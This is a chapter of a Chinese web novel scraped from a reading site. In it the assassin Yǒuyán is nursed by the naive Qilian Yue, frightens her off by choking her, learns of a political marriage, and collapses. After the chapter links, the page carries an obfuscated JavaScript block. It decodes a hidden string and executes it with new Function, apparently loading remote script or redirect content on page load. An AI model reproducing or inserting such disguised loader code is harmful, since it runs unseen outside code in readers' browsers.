返回

姻缘错,代嫁狂妃

首页
关灯
护眼
字体:
第一百四十八章 :生离死别,罪孽深重
(手机请访问 m.duxs8.com)羑言躺在床榻上睁着眼睛发呆,想来应该是昨天在雨中晕过去了,恰巧被她看见所以将她带回来了?

她再次起身下床,走出房间看着女子忙碌的身影,干起活来都是很麻溜利索。

可能于她而言着不是干活,她反而享受其中。

羑言听见她嘴里哼着小调,很空灵的感觉,虽就只有一个音符,但是曲调很有意境,若是现在有古琴,她兴许能和上一手。

羑言低头看着的手,很久没有碰琴了,也不知会不会生疏。

女子抬头看见羑言,嘴角略开一抹笑容,“我看你呀也在床榻上呆不住。”

“我做了羹汤,给你尝尝,马上就好了。”她弯腰凑前闻着香味,满足的笑了,“这羹汤我还是第一次做呢,你有口福了。”

以前都是她吃,从没有给别人做过,记得有一次想要下厨的,可是那天……

一抹凉意从眼底划过,看来她也不如面上那般无忧无虑。

午饭的时候,两人安静的坐在一起吃饭,女子睁大眼睛看着羑言一口一口的吃下去,味道还是不错的,毕竟第一次做,能做的入口就可以。

羑言没有多余的表情,她不满足,双手撑着下巴看她,“好吃吗?”

“嗯。”

羑言吃完放下来,正要起身,女子拉住她,“你叫什么名字?”

“我叫祁连月。”

眼睛扑闪扑闪的,希望羑言可以回应她。

羑言本是不想告诉她,只不过萍水相逢,何必在意,终究还是要分开的。

“羑言。”

“羑言?”女子重复了一遍,“很好听啊,有什么意境吗?”

女子眼睛在动,像是在思考问题,她总觉得这名字很耳熟,好像在哪里听过。

“羑言……”

羑言低头看着她,祁连月问她意境,她并不想回想,这不是个好的故事,也不想解释。

“啊!我知道了!”

她知道?

祁连月突然站起来,盯着她看,有些惋惜,“你爹娘为何给你取这么一个名字啊?你生的这般美艳,应该有个朝气的名字。”

“我师父……不是,以前有个人曾经跟我说过,山中有一话,很罕见,名字叫羑言。这羑言花啊,有生离死别之意,寓意不好呢!”

羑言眸色一沉,祁连月知道自己说错话了,立刻捂住嘴巴。

“哎呀,不是了,我乱说的。”祁连月挥挥手绕到羑言身边,“虽然是生离死别,但也是涅槃重生啊。师父……不对,那个人还说了,这花啊,目前来说还没有人见过呢,可能是别人杜撰出来也指不定,你别多想了。”

羑言抽回自己的衣袖走出,祁连月不好意思的挠挠头,是她说错话了,她好像总是说出话,经常说话不过脑子,以前的师父也总是被她气着。

“哎,你去哪儿啊?”祁连月跟上前,看着羑言要离开,她立刻冲上去拦住她的去路。

羑言别了她一眼,眸光一凌。

祁连月倒也不害怕,比她更凶的眼神她也经常见,司空见惯没什么好怕的。

“你还不能走,我不是告诉过你了,你的身体已经坏了,你也静养知道吗?静养!”祁连月振振有词,“你给我时间,我一定可以把你治好的!”

她说这话时眸光闪烁不定,一看就是连自己都骗不过的话,还妄想骗羑言

“你救了我,我很感谢你,我自己身体我最清楚,不需要劳烦你了。”羑言推开她的身子,她好像很轻,一下就被推开了。

祁连月不高兴的拉住羑言,“那也不行!”

也不知道她那么激动做什么,不过是萍水相逢的人,她的命跟她没有一点关系。

可是祁连月似乎并不这么想。

“师父说了,这世间所有事情都是讲究一个缘字,我遇见你救了你就是我们之间的缘分,更何况,我觉得我跟你投缘,我必须要救你!”

她是不会见死不救的!

“你要是不相信我的能力,我可以带你回玉山,我师父一定可以救你的。”

羑言没有错过祁连月眼睛的挣扎,她方才几次脱口而出的人就是她师父吧?现在却独自一人出现在这里,想必是自己逃出来的吧?

“你是这儿的主人?”

“嗯?”

祁连月一时没有缓过神来,“什么?啊,你说这竹屋啊,当然了,这……”

“你骗人,这是我朋友亲手搭的。”羑言堵住祁连月的话。

祁连月惊讶的看着她,有这么巧的吗?她第一次骗人就被当场拆穿了?

“缘分都是假的,我从来不信,只不过萍水相逢,各自离去才是就好的选择。”羑言再次说道,“你最好比跟着我,不然你怎么死的都不知道。”

羑言把话说的很难听,祁连月白净的脸蛋都铁青了。

“还有,哪来的回哪儿吧。”

开口句句不离“师父”二字,那应该是对她很重要的人吧?现在俞朝国和玄邺国正在打战,正巧是兵荒马乱的时候,她一个女孩子跑出来做什么?

祁连月口中玉山她听都没有听说过,也不知道是在哪里,或许只是祁连月编出来骗她的。

“我可没有骗人!”

祁连大声喊道!

“我知道你不信我,你的眼中写满了质疑!”祁连月固执的对羑言解释,“我是从小跟着师父在玉山长大,师父什么都会,可厉害了!他的医术也很好,什么奇怪的病症他都能治好,你这个他也一定有办法的。”

祁连月只恨自己学术不精,只是知道羑言体内有两个气在对流,记得师父说过,要是时间长了,又或者两股气流对抗加强,人会吃不消的。

羑言对她的话一点兴趣没有,她转身就走。

“喂,你这人怎么这样啊!”

祁连月一直跟在她的身后,她不管,她就是要跟着羑言,反正她现在也不知道要去哪里。

羑言甩不开她,也不跟她答话,以为时间长了祁连月觉得无趣就不会再说了,可是她竟然叨扰了一路!

眼看着就要下山了,祁连月还是跟着她。

羑言有自己要的事情要做,她不可能一直带着祁连月的。

“羑言!”

祁连月再次喊她,“你别说,你这么名字越喊越顺口呢。”

“我听说有两国在交战,你说是哪两国啊?”祁连月好奇的问道。

羑言一样的眼神落在祁连月身上,她好像是真的不知道,一直用无害和求知的表情盯着她。

“你不知道?”

羑言无奈的看着她,突然有些好奇了,祁连月是怎么长大的?

“不知道啊。”祁连月点着头,“我不是说过了吗?我从小跟着师父一块在玉山长大的,还从来没有下过山呢。”

她自己一个人偷偷跑出来,也不知道是进了哪个国家,只是在路上听到有人在议论。

从未下过山?

难怪这般不谙世事。

羑言轻笑,“竟然如此,你就更加不要跟着我了。”

她怕让看见一些不好的画面,不管是哪一种,都会将她纯净的眼睛蒙上一层灰色,何必呢?

“羑言,你就是想甩开我,我是不会让你如愿的!”祁连月气嘟嘟的看着她说道。

他就是好奇外面的世界才会一个人偷偷跑出来的,之前在山中,所有人都可以只有出路,只有她,师父禁止她的出行,她一直都被困在山上。

每次听见别人说的事就会无比的好奇,究竟外面的世界是怎么样的。

还记得有次她偷偷跑下山,只是走到一半就被师父抓回去了,师父为此罚了她抄了一个月的经书。

“你……”

羑言正想开口,余光看见了前方的动静,她突然扯过祁连月捂住她的嘴,祁连月瞪大眼睛被她拉到草丛中躲起来。

吓死她了,还以为羑言想要闷死她呢!

祁连月的眼睛落在羑言身上,她的侧脸很白希,睫毛很差,红唇微抿,眉宇间有一个小小的“川”字,聚精会神的目视前方。

顺着她视线看过去,羑言对士兵走过,他们嘴里在说着话。

大致能听清一些。

“安绥国太子到玄邺国了,还带了筠嫣公主。”

“是来支援的吗?”

玄邺国确实有些吃不消了,那浓雾阵一散步让他们损兵折将,损失惨重。

“应该是吧,好像是珏王书信请求支援呢。”

“珏王能撑这么久已经很不容易了,我倒是想上前线看看珏王的英姿。”

“就你,算了吧,前几天有消息,珏王又受伤了。”

羑言眼睛一暗无心在听下去,偏生祁连月听的很是认真。

队伍离开后,羑言的手还捂住祁连月的嘴巴没有松开,祁连月发现她在出神,拿开她的手开始滔滔不绝。

“他们说的珏王是谁啊?好像很厉害的样子,只是听听就忍不住佩服呢。”

羑言站起身走出去,拍了拍身上的杂草,祁连月倒是不在意,也跟着羑言走出去,缠着她继续说道:“哎,那个安绥国公主是什么情况啊?好像要和亲呢!”

“你说什么?!”

羑言突然有了反应,和亲是什么,为什么她不知道?

“刚刚……他们说的啊。”

她又说错话了?应该不至于吧,羑言刚刚不是也听见了吗?她只不过是重复一遍而已,需要这么震惊吗?

再看羑言,有些失魂落魄,可下一秒她又笑了。

“你没事吧?”

“我能有什么事。”

羑言避开祁连月,“你不要再跟着我了,我不是在开玩笑。”

“为什么啊!”

羑言不给祁连月一个说得过去的答案,她是不会离开的,就算离开她也没有目标,而且她暂时还不想回去。

“你不是好奇两国战事吗?”

“嗯。”

祁连月猛地点头,她是好奇啊,可是这跟她离开有什么关系。

“我告诉你,俞朝国是挑起战事的一方,知道前线死伤有多严重吗?你不是很佩服玄邺国的王爷吗?他被俞朝国害得很惨,这些都是被俞朝国所赐!”

这么一听,俞朝国罪孽深重啊?

“而俞朝国的领头人是我的主子。”羑言看着祁连月说道。

祁连月眨巴着眼睛,反应过来后突然向后退了一步警惕性的看着羑言。

“我杀过的人,比你吃过的饭还要多,懂吗?”

羑言突然擒住祁连月的脖子,将她抬起了,祁连双脚已经悬空了,没想到看上去手无缚鸡之力的羑言力气竟然这么大!

“呃……”

祁连月抖着双脚,想要睁开羑言的双手,她清楚的看见羑言眼睛中的杀意。

“现在还要跟着我吗?”

羑言蓦地松开手,祁连月重新获得呼吸,贪婪的呼吸着,她对羑言已经心生惧意了。

她转身离开,祁连月双手撑地看着羑言离开的背影,这一次,她没有再跟上。

羑言走的干脆,身边没有祁连月跟着,她速度更加快了。

如方才那写士兵说的是真的……

君承修又受伤了,他迫不得已要想安绥国请兵支援,还要和亲?

这就是安绥国的要求吗?

这是罗筠嫣的要求吧?

羑言攒紧双拳,眼前突然又是一阵晕眩,身子还没倒下,突然一只出现在她面前朝她袭来,她下意识的躲开。

本能的朝那人的方向打过去,奈何站不稳,被人一把拉住扯进怀中。

羑言只觉头很晕,脑袋太沉重了,连反抗都做不到。

失去意识之前她只想看清那人的脸,可是还是能如愿。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();